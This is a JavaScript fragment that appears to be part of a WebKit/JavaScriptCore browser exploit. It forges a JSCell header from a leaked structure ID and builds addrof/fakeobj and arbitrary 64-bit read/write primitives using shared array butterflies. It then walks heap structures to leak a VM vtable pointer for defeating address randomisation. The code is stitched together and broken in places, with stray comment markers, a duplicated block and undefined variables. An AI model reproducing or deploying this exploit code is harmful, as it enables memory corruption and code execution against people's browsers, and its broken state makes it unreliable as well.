var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
u32[0] = structure_id; //0x200; utilize our struct ID leak
u32[1] = 0x01082007 - 0x10000;
var flag_dbl = f64[0];
u32[0] = structure_id;
u32[1] = 0x01082009 - 0x10000;
var flag_cnt = f64[0];
var container = {
header: flag_dbl, // cell
butterfly: victim1, // butterfly
};
var unboxed5 = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37];
unboxed5 = 4.2; // Disable/undo CopyOnWrite (forced to make new Array which is ArrayWithDouble)
var boxed5 = [{},{},{},{}];
fuck.port.postMessage("outer @ " + hex1(addrof(container)));
var hax = fakeobj(addrof(container) + 0x10);
fuck.port.postMessage("debug1")
// "Point" refers to changing the given array's butterfly
// hax[1] = victim[]'s bfly, meaning that we can point victim[] using hax[1]
//
// First, point victim[] to unboxed[]
// Second, save the location of unboxed
// Third, point victim[] to boxed[]
// Finally, point unboxed[] and boxed[] to the same place (give them same bfly)
//
// This allows us to access victim[] and read/write adresses as doubles with unboxed[]
// and then access them as objects with boxed[]
hax[1] = evil_arr;
fuck.port.postMessage("debug2")
var tmp_bfly_ptr = floatAsQword(victim1[1]);
fuck.port.postMessage("shared butterfly @ " + hex1(tmp_bfly_ptr));
hax[1] = boxed;
victim[1] = tmp_bfly_ptr;
var jscell_header;
let legit_arr = victim1;
let results = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? hax : legit_arr;
results.push(a[0]);
}
jscell_header = floatAsQword(results[0]);
//fuck.port.postMessage(hex1(floatAsQword(jscell_header)));
container.header = jscell_header;*/
gc();
fuck.port.postMessage("Garbage Collected next test for JIT Crash");
gc();
gc();
gc();
gc(); // an ugly way for triggering jitn vs for while in loops....
fuck.port.postMessage("JIT Didn't cause a crash we're stable")
fuck.port.postMessage("Time to calculate the shared cache")
/* var stage2 = {
addrof: function(obj) {
return addrof(obj)
},
fakeobj: function(addr) {
return fakeobj(addr)
},
write64: function(where, what) {
hax[1] = qwordAsFloat(where + 0x10);
victim1.prop = this.fakeobj(qwordAsFloat(what));
},
passGC : function (){
var passObj = {};
passObj[0] = 1.1;
this.write64(this.addrof(passObj+8), 0x7);
},
read64: function(where,offset) {
//var reset = hax[1];
if(offset) {
offset *= 8
return this.read64(where+offset);
}
hax[1] = qwordAsFloat(where + 0x10);
var res = this.addrof(victim1.prop);
this.passGC();
//hax[1] = reset;
//victim1.prop = shared_butterfly;
return res;
},
readInt64: function(where) {
//var reset = hax[1];
hax[1] = qwordAsFloat(where + 0x10);
var res = this.addrof(victim1.prop);
//hax[1] = reset;
//victim1.prop = shared_butterfly;
return new Int64(res);
},
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write64(Add(addr, 2 * i), ints[i]);
},
read: function(addr, length) {
var a = new Array(length);
var i;
for (i = 0; i + 8 < length; i += 8) {
v = new Int64(this.read64(addr + i)).bytes()
this.passGC();
for (var j = 0; j < 8; j++) {
a[i+j] = v[j];
}
}
v = new Int64(this.read64(addr + i)).bytes()
this.passGC();
for (var j = i; j < length; j++) {
a[j] = v[j - i];
}
return a
},
clear: function() {
container = null;
hax = null;
for (var i = 0; i < evil_arr.length; ++i)
boxed[i] = null;
boxed = null
evil_arr = null
},
};
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
function ab2str(buf) {
return String.fromCharCode.apply(null, new Uint16Array(buf));
}
var bb = {};
//bb[0] = 1.1
var bbaddr = stage2.addrof(bb);
fuck.port.postMessage("object address @ " + hex1(bbaddr));
var footeraddr = ((bbaddr & 0xffffc000) + (((bbaddr/0x100000000)|0)*0x100000000)+0x4000-0x130)
//refer to VM.h this is
//JSC::MarkedBlock::footer at 0ffset 8 should be the vm struct
fuck.port.postMessage("footeraddr @ " + hex1(footeraddr));
var vmstruct = stage2.read64(footeraddr+0x08);
fuck.port.postMessage("vmstruct @ " + hex1(vmstruct));
//var structdump = stage2.read(vmstruct,0x30);
var m_runloop = stage2.read64(vmstruct+0x10);
//Ref <WTF::RunLoop> m_runLoop; at offset 0x10-0x18 proceeded by m_random
fuck.port.postMessage("m_runloop @ " + hex1(m_runloop));
//at offset 0 of m_runloop should be a vtable :) should sit within the shared cache
var vtable = stage2.read64(m_runloop);
fuck.port.postMessage("vtable @ " + hex1(vtable));
stage.passGC();
gc();*/
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
u32[0] = structure_id; //0x200; utilize our struct ID leak
u32[1] = 0x01082007 - 0x10000;
var flag_dbl = f64[0];
u32[0] = structure_id;
u32[1] = 0x01082009 - 0x10000;
var flag_cnt = f64[0];
var jscell_header;
let legit_arr = victim1;
let results = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? hax : legit_arr;
results.push(a[0]);
}
jscell_header = floatAsQword(results[0]);
//fuck.port.postMessage(hex1(floatAsQword(jscell_header)));
}
function ab2str(buf) {
return String.fromCharCode.apply(null, new Uint16Array(buf));
}